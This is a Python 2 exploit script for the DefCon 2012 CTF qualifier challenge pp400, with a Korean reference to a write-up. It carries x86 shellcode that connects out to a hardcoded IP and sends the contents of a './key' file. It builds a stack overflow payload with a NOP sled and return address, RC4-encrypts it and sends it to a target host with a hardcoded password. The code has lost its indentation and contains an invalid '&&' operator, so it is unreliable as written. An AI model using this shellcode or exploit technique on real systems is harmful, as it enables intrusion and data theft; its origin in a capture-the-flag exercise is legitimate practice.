http://blog.oxff.net/posts/DefCon%2020%20CTF%20Qualifications%3A%20pp400-anvszwpmjdyizhsqgngq.html 참조.
#!/usr/bin/python2.6
#defcon 2012, pp400 exploit - badcob
import socket,sys
import struct
import time
def rc4_initialize(key,x,y):
tmp = range(255,-1,-1)
for i in range(0, 256):
y = (y + tmp[x] +(ord(key[x & 0xf]))) & 0xff
tmp[x],tmp[y] = tmp[y], tmp[x]
return tmp
def rc4_pop_key(tmp, x, y):
x = (x+1) & 0xff
y = (y+tmp[x]) & 0xff
tmp[x], tmp[y] = tmp[y], tmp[x]
return tmp[(tmp[x]+tmp[y]) && 0xff], x, y
#shellcode
sc = "\x83\xC4\x70\x6A\x61\x58\x99\x52\x6A\x01\x6A\x02\x50\xCD\x80\x96\x6A\x62\x58\x68\xD2\x00\x3C\xEB\x68\xAA\x02\x27\x0F"
sc += "\x89\xE3\x6A\x10\x53\x56\x50\xCD\x80\x6A\x05\x58\x52\x68\x2F\x6B\x65\x79\x68\x2E\x2F\x2F\x2F"
sc += "\x89\xE3\x52\x53\x50\xCD\x80\x97\x6A\x03\x58\x6A\x40\x53\x57\x50\xCD\x80\x50\x6A\x04\x58\x53\x56\x50\xCD\x80"
#stack address to overwrite
stack_address = 0xbfbfe9fc
#make payload
payload = []
sc += '\x90'
print len(sc)
while sc != '':
payload.append(struct.unpack('<I', sc[:4])[0])
sc = sc[4:]
#nop sled + shellcode
#0x42 : inc edx
payload = [0x90909090 for i in range(0,128-len(payload))] + payload
payload += [0x42424242 for i in range(0,248-128)]
payload += [0xbfbfe9fc]
total_count = len(payload)
current_count = 0
#rc4 initialize
global tmp, x, y
x = 0
y = 0
key = '\xb6\x3d\x15\x3a\x04\x15\x69\x72\x45\xfe\xc2\x7f\x12\x78\xd7\x82'
tmp = rc4_initialize(key,x,y)
print tmp
print len(tmp)
#host, port
host = '192.168.74.134'
port = 4016
def init(host,port):
b = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
b.connect((host,port))
return b
s = init(host,port)
passwd = 'b366e2776ce9efff'+'\x0a'
s.send(passwd)
print s.recv(256)
sys.stdout.flush()
for i in payload:
print current_count, hex(i)
data_list = []
data = str(struct.unpack('<f', struct.pack('<I', i))[0])
data = data[::-1]
for j in data:
value, x, y = rc4_pop_key(tmp, x, y)
data_list.append(chr(ord(j) ^ value))
data_list.reverse()
data = ''.join(data_list)
print data.encode('hex')
try:
s.send(data.encode('hex')+'\x0a')
except:
print 'float error:', i, hex(i), '[+]' + data.encode('hex') + '[+]'
break
current_count += 1